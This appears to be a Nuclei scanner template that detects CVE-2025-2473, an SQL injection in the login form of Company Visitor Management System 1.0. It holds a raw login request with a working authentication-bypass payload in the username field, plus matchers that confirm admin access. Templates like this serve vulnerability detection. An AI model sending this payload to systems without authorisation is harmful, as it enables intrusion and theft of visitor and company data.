CVE-2025-2473: Company Visitor Management System 1.0 - SQL Injection

id: CVE-2025-2473

info:
  name: Company Visitor Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    Company Visitor Management System 1.0 contains a SQL injection vulnerability via the login page in the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Unauthenticated attackers can bypass authentication and execute arbitrary SQL queries through the username parameter, potentially gaining administrative access and extracting sensitive visitor and company information.
  remediation: |
    Apply input validation patches or upgrade to a patched version that properly sanitizes SQL input.
  reference:
    - https://www.exploit-db.com/exploits/48884
    - https://packetstormsecurity.com/files/158476/Company-Visitor-Management-System-CVMS-1.0-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2473
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-2473
    epss-score: 0.08031
    epss-percentile: 0.91885
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,cvms,sqli,auth-bypass,cms,edb,packetstorm,vuln

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin%27+or+%271%27%3D%271%27%23&password={{rand_base(5)}}&login=

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Admin user'
          - 'Dashboard'
          - 'CVMS'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008026f7e6bc9547ac5949aa43d5bdc81258a3e8b893ffe4c7659edcf277a15eb3022100f1af21b02bfdd77e00d37296117759b093f237aa6ec8d020aebc4cf08f439f71:922c64590222798bb761d5b6d8e72950